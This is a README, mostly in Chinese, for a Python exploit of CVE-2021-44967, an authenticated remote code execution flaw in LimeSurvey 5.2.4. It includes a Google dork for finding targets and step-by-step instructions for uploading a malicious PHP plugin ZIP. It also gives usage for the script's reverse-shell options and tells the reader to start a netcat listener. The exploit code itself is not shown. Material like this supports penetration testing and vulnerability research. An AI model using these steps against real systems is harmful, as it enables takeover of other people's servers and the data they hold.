CVE-2021-44967

# Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)
# Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login
# Date: 05/12/2021
# Discovered by: Y1LD1R1M
# Exploit Author: D3Ext
# Vendor Homepage: https://www.limesurvey.org/
# Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip
# Version: 5.2.x
# Tested on: Kali Linux 2025
# CVE: CVE-2021-44967

漏洞说明

LimeSurvey 5.2.4 的上传并安装插件功能中存在一个远程代码执行（RCE）漏洞，远程恶意用户可利用该漏洞上传任意 PHP 代码文件。

以下是手动利用此漏洞所需遵循的步骤：

创建一个包含 PHP 文件和配置文件的 ZIP 压缩包
登录 LimeSurvey
进入"配置 -> 插件 -> 上传并安装"
上传你的 ZIP 文件
安装它
最后，激活你的插件
然后，你的 PHP 代码应可通过 /upload/plugins/<plugin_name>/<php_file> 访问

用法

usage: CVE-2021-44967.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]

CVE-2021-44967 - LimeSurvey Authenticated RCE

options:
  -h, --help           show this help message and exit
  --url URL            URL of the LimeSurvey web root
  --user USER          username to log in
  --password PASSWORD  password of the username
  --lhost LHOST        local host to receive the reverse shell
  --lport LPORT        local port to receive the reverse shell
  --verbose            enable verbose

先启动一个 netcat 监听器，然后像这样执行漏洞利用脚本：

python3 --url <URL> --user <username> --password <password> --lhost <local host> --lport <local port>

演示

参考链接

https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
https://www.exploit-db.com/exploits/50573
https://github.com/p0dalirius/LimeSurvey-webshell-plugin
https://ine.com/blog/cve-2021-44967-limesurvey-rce
https://pentest-tools.com/vulnerabilities-exploits/limesurvey-524-rce-vulnerability_13029

许可证

本项目采用 MIT 许可证

CVE-2021-44967

最受欢迎

CVE-2021-44967

漏洞说明

用法

演示

参考链接

许可证